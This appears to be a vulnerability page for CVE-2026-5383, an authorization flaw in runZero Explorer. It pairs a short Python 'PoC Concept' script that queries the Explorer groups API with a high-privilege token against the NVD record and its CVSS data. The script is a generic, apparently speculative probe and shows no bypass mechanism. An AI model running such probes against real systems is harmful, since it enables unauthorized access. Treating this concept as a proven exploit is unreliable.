CVE-2026-5383

import requests # CVE-2026-5383 PoC Concept # This script demonstrates the potential to access Explorer groups outside the authorized scope. # Note: Exploitation requires High Privileges (PR:H) and specific vulnerable conditions. target_url = "https://<target-host>/api/v1/explorer/groups" attacker_token = "<HIGH_PRIVILEGE_TOKEN>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json", "User-Agent": "CVE-2026-5383-Test" } # In a vulnerable version, this request might return groups from outside the user's organization scope # due to incorrect authorization checks (CWE-863). try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful. Check returned data for unauthorized groups.") print(f"[+] Response: {data}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-5383", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:48.543", "lastModified": "2026-04-21T15:39:43.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could allow access to Explorer groups from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:L (4.4 Medium). This issue was fixed in version 4.0.260208.0 of the runZero Explorer."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260208.0", "matchCriteriaId": "F47C6688-19AC-4FF8-9BEB-A1B3AD4F9BD9"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602080", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-explorer-cve-2026-5383/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}